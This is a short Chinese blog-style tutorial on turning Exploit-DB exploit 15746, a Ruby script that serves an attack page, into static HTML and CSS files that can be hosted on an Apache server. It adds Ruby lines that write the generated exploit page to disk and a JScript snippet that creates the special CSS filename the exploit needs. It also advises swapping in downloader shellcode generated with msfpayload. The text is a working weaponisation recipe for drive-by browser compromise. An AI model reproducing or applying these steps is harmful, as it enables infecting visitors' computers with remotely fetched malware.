这个exp用的是http发包的方法,是一个ruby小脚本,万一同时多人访问就挂了。所以还要转成 htm。
原作者为什么要用http发包,估计是没有解决 css文件名的问题。
漏洞的原理、分析我也不会,我只是改造了这个ruby
一、第一步
在原来的脚本(http://www.exploit-db.com/exploits/15746/),down save下来为15746.rb,editplus打开
break unless http_send(cli, @html, :type=>"text/html")
下边加上
aFile = File.new("C:\lcx.htm","wb")
aFile.puts @html
aFile.close
运行15746.rb,然后用ie访问127.0.0.1:55555/test.html就会自动生成lcx.htm
二、第二步
在原来的脚本(http://www.exploit-db.com/exploits/15746/)
break unless http_send(cli, @css, :type=>"text/css")(有两行,最后一行吧)
下边加上
aFile = File.new("C:\lcx.css","wb")
aFile.puts @css
aFile.close
当你访问127.0.0.1:55555,会自动生成lcx.css
三、第三步
我的ruby水平有限,不知如何用ruby生成哪个奇怪的css文件名,我用的js
var fso, f1;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile(decodeURI("s%CD%B3s%CD%B3s%CD%B3s%CD%B3"), true);
运行这个js,会生成一个"奇怪"的文件名。然后用这个文件名改掉原来的lcx.css文件名。
四、第四步
构架环境测试。因为iis不认这个s%CD%B3s%CD%B3s%CD%B3s%CD%B3东东,所以你把生成的lcx.htm和改名的lcx.css传到apache空间上。测试之前,你可以用editplus打开lcx.htm,换掉里边的shellcode。我是直接用msfpayload生成一个下载的shellcode的。
下一篇:过安全狗的一种方法